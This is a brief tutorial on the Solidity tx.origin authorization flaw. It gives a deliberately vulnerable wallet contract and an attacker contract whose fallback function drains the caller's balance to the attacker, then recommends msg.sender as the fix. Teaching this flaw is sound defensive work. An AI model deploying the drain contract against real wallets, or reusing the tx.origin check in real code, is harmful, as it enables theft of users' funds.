Authorization Through tx.origin

tx.origin is a global variable in Solidity which returns the address that sent a transaction. It's important that you never use tx.origin for authorization since another smart contract can use a fallback function to call your contract and gain authorization since the authorized address is stored in tx.origin. Consider this example:

pragma solidity >=0.5.0 <0.7.0;
 
 // THIS CONTRACT CONTAINS A BUG - DO NOT USE
 contract TxUserWallet {
     address owner;
 
     constructor() public {
         owner = msg.sender;
     }
 
     function transferTo(address payable dest, uint amount) public {
         require(tx.origin == owner);
         dest.transfer(amount);
     }
 }

Here we can see that the TxUserWallet contract authorizes the transferTo() function with tx.origin.

pragma solidity >=0.5.0 <0.7.0;
 
 interface TxUserWallet {
     function transferTo(address payable dest, uint amount) external;
 }
 
 contract TxAttackWallet {
     address payable owner;
 
     constructor() public {
         owner = msg.sender;
     }
 
     function() external {
         TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
     }
 }

Now if someone were to trick you into sending ether to the TxAttackWallet contract address, they can steal your funds by checking tx.origin to find the address that sent the transaction.

To prevent this kind of attack, use msg.sender for authorization.